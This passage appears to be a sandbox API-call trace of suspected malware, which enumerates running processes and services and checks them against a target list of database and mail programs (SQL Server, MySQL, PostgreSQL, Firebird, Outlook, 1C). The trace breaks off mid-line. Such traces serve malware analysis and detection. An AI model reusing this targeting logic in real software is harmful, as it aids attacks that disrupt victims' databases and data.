[0100.802] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1 [0100.802] lstrcmpiW (lpString1="postgres.exe", lpString2="smss.exe") returned -1 [0100.802] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1 [0100.802] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1 [0100.802] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1 [0100.802] Process32NextW (in: hSnapshot=0x3c4, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0100.802] lstrlenW (lpString="csrss.exe") returned 9 [0100.802] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0100.802] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0100.802] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0100.802] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0100.802] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0100.802] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0100.802] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0100.803] Process32NextW (in: hSnapshot=0x3c4, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0100.803] lstrlenW (lpString="wininit.exe") returned 11 [0100.803] lstrcmpiW (lpString1="1c8.exe", lpString2="wininit.exe") returned -1 [0100.803] lstrcmpiW (lpString1="1cv77.exe", lpString2="wininit.exe") returned -1 [0100.803] lstrcmpiW (lpString1="outlook.exe", lpString2="wininit.exe") returned -1 [0100.803] lstrcmpiW (lpString1="postgres.exe", lpString2="wininit.exe") returned -1 [0100.803] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="wininit.exe") returned -1 [0100.803] lstrcmpiW (lpString1="mysqld.exe", lpString2="wininit.exe") returned -1 [0100.803] lstrcmpiW (lpString1="sqlservr.exe", lpString2="wininit.exe") returned -1 [0100.803] Process32NextW (in: hSnapshot=0x3c4, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0100.803] lstrlenW (lpString="csrss.exe") returned 9 [0100.803] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0100.803] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0100.803] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0100.803] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0100.803] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0100.803] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0100.803] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0100.803] Process32NextW (in: hSnapshot=0x3c4, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0100.804] lstrlenW (lpString="winlogon.exe") returned 12 [0100.804] lstrcmpiW (lpString1="1c8.exe", lpString2="winlogon.exe") returned -1 [0100.804] lstrcmpiW (lpString1="1cv77.exe", lpString2="winlogon.exe") returned -1 [0100.804] lstrcmpiW (lpString1="outlook.exe", lpString2="winlogon.exe") returned -1 [0100.804] lstrcmpiW (lpString1="postgres.exe", lpString2="winlogon.exe") returned -1 [0100.804] Process32NextW (in: hSnapshot=0x3c4, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0100.804] lstrlenW (lpString="services.exe") returned 12 [0100.804] Process32NextW (in: hSnapshot=0x3c4, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0100.804] lstrlenW (lpString="lsass.exe") returned 9 [0100.804] Process32NextW (in: hSnapshot=0x3c4, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0100.804] lstrlenW (lpString="lsm.exe") returned 7 [0100.804] Process32NextW (in: hSnapshot=0x3c4, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x250, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0100.805] lstrlenW (lpString="svchost.exe") returned 11 [0100.805] Process32NextW (in: hSnapshot=0x3c4, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x290, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0100.805] lstrlenW (lpString="svchost.exe") returned 11 [0100.805] Process32NextW (in: hSnapshot=0x3c4, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0100.805] lstrlenW (lpString="svchost.exe") returned 11 [0100.805] Process32NextW (in: hSnapshot=0x3c4, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x310, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0100.805] lstrlenW (lpString="svchost.exe") returned 11 [0100.805] Process32NextW (in: hSnapshot=0x3c4, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x24, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0100.806] lstrlenW (lpString="svchost.exe") returned 11 [0100.806] Process32NextW (in: hSnapshot=0x3c4, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x374, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0100.806] lstrlenW (lpString="audiodg.exe") returned 11 [0100.806] Process32NextW (in: hSnapshot=0x3c4, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0100.806] lstrlenW (lpString="svchost.exe") returned 11 [0100.806] Process32NextW (in: hSnapshot=0x3c4, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x150, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0100.806] lstrlenW (lpString="svchost.exe") returned 11 [0100.807] Process32NextW (in: hSnapshot=0x3c4, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x448, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x1ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="userinit.exe")) returned 1 [0100.807] lstrlenW (lpString="userinit.exe") returned 12 [0100.807] Process32NextW (in: hSnapshot=0x3c4, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x450, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x310, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0100.807] lstrlenW (lpString="dwm.exe") returned 7 [0100.807] Process32NextW (in: hSnapshot=0x3c4, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x460, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1e, th32ParentProcessID=0x448, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0100.807] lstrlenW (lpString="explorer.exe") returned 12 [0100.807] Process32NextW (in: hSnapshot=0x3c4, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x484, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0100.807] lstrlenW (lpString="spoolsv.exe") returned 11 [0100.808] Process32NextW (in: hSnapshot=0x3c4, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0100.808] lstrlenW (lpString="taskhost.exe") returned 12 [0100.808] Process32NextW (in: hSnapshot=0x3c4, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0100.808] lstrlenW (lpString="svchost.exe") returned 11 [0100.808] Process32NextW (in: hSnapshot=0x3c4, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x568, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="payload.exe")) returned 1 [0100.808] lstrlenW (lpString="payload.exe") returned 11 [0100.808] Process32NextW (in: hSnapshot=0x3c4, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x590, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x558, pcPriClassBase=8, dwFlags=0x0, szExeFile="reader_sl.exe")) returned 1 [0100.808] lstrlenW (lpString="reader_sl.exe") returned 13 [0100.808] Process32NextW (in: hSnapshot=0x3c4, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x1d0, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0100.809] lstrlenW (lpString="taskhost.exe") returned 12 [0100.809] Process32NextW (in: hSnapshot=0x3c4, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x588, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0100.809] lstrlenW (lpString="dllhost.exe") returned 11 [0100.809] Process32NextW (in: hSnapshot=0x3c4, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x588, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 0 [0100.809] CloseHandle (hObject=0x3c4) returned 1 [0100.809] Sleep (dwMilliseconds=0x1f4) [0101.481] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x3ab7238 [0101.481] EnumServicesStatusExW (in: hSCManager=0x3ab7238, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x21dff44, lpServicesReturned=0x21dff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x21dff44, lpServicesReturned=0x21dff5c, lpResumeHandle=0x0) returned 0 [0101.482] GetLastError () returned 0xea [0101.482] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x113e) returned 0x5e07c8 [0101.482] EnumServicesStatusExW (in: hSCManager=0x3ab7238, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x5e07c8, cbBufSize=0x113e, pcbBytesNeeded=0x21dff44, lpServicesReturned=0x21dff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x5e07c8, pcbBytesNeeded=0x21dff44, lpServicesReturned=0x21dff5c, lpResumeHandle=0x0) returned 1 [0101.482] CloseServiceHandle (hSCObject=0x3ab7238) returned 1 [0101.482] lstrlenW (lpString="Appinfo") returned 7 [0101.482] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0101.482] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0101.482] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0101.482] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0101.482] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0101.482] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0101.482] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0101.482] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0101.483] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0101.483] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0101.483] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0101.483] lstrlenW (lpString="AudioSrv") returned 8 [0101.483] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1 [0101.483] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1 [0101.483] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1 [0101.483] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1 [0101.483] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1 [0101.483] lstrlenW (lpString="BFE") returned 3 [0101.483] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0101.483] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0101.483] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0101.483] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0101.483] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0101.483] lstrlenW (lpString="CryptSvc") returned 8 [0101.483] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0101.483] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0101.483] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0101.483] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0101.483] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0101.483] lstrlenW (lpString="CscService") returned 10 [0101.483] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1 [0101.483] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1 [0101.483] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1 [0101.483] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1 [0101.483] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1 [0101.483] lstrlenW (lpString="DcomLaunch") returned 10 [0101.483] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0101.483] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0101.483] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0101.483] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0101.483] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0101.483] lstrlenW (lpString="Dhcp") returned 4 [0101.483] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0101.483] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0101.483] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0101.483] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0101.483] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0101.483] lstrlenW (lpString="Dnscache") returned 8 [0101.483] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0101.483] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0101.483] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0101.483] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0101.484] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0101.484] lstrlenW (lpString="DPS") returned 3 [0101.484] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0101.484] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0101.484] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0101.484] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0101.484] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0101.484] lstrlenW (lpString="eventlog") returned 8 [0101.484] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1 [0101.484] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1 [0101.484] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1 [0101.484] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1 [0101.484] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1 [0101.484] lstrlenW (lpString="EventSystem") returned 11 [0101.484] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0101.484] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0101.484] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0101.484] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0101.484] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0101.484] lstrlenW (lpString="gpsvc") returned 5 [0101.484] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0101.484] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0101.484] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0101.484] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0101.484] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0101.484] lstrlenW (lpString="iphlpsvc") returned 8 [0101.484] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0101.484] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0101.484] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0101.484] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0101.484] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0101.484] lstrlenW (lpString="LanmanServer") returned 12 [0101.484] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0101.484] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0101.484] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0101.484] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0101.484] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0101.484] lstrlenW (lpString="LanmanWorkstation") returned 17 [0101.484] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0101.484] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0101.484] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0101.484] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0101.484] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0101.484] lstrlenW (lpString="lmhosts") returned 7 [0101.485] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0101.485] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0101.485] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0101.485] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0101.485] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0101.485] lstrlenW (lpString="MMCSS") returned 5 [0101.485] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1 [0101.485] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1 [0101.485] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1 [0101.485] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1 [0101.485] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1 [0101.485] lstrlenW (lpString="MpsSvc") returned 6 [0101.485] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0101.485] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0101.485] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0101.485] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0101.485] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0101.485] lstrlenW (lpString="Netman") returned 6 [0101.485] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Netman") returned -1 [0101.485] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Netman") returned -1 [0101.485] lstrcmpiW (lpString1="sqlwriter", lpString2="Netman") returned 1 [0101.485] lstrcmpiW (lpString1="mssqlserver", lpString2="Netman") returned -1 [0101.485] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Netman") returned 1 [0101.485] lstrlenW (lpString="netprofm") returned 8 [0101.485] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0101.485] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0101.485] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0101.485] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0101.485] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0101.485] lstrlenW (lpString="NlaSvc") returned 6 [0101.485] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0101.485] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0101.485] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0101.485] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0101.485] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0101.485] lstrlenW (lpString="nsi") returned 3 [0101.485] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0101.485] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0101.485] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0101.485] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0101.485] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0101.486] lstrlenW (lpString="PcaSvc") returned 6 [0101.486] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0101.486] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0101.486] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0101.486] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0101.486] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0101.486] lstrlenW (lpString="PlugPlay") returned 8 [0101.486] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0101.486] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0101.486] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0101.486] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0101.486] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0101.486] lstrlenW (lpString="Power") returned 5 [0101.486] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0101.486] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0101.486] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0101.486] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0101.486] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0101.486] lstrlenW (lpString="ProfSvc") returned 7 [0101.486] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0101.486] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0101.486] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0101.486] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0101.486] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0101.486] lstrlenW (lpString="RpcEptMapper") returned 12 [0101.486] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0101.486] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0101.486] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0101.486] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0101.486] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0101.486] lstrlenW (lpString="RpcSs") returned 5 [0101.486] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0101.486] lstrcmpiW 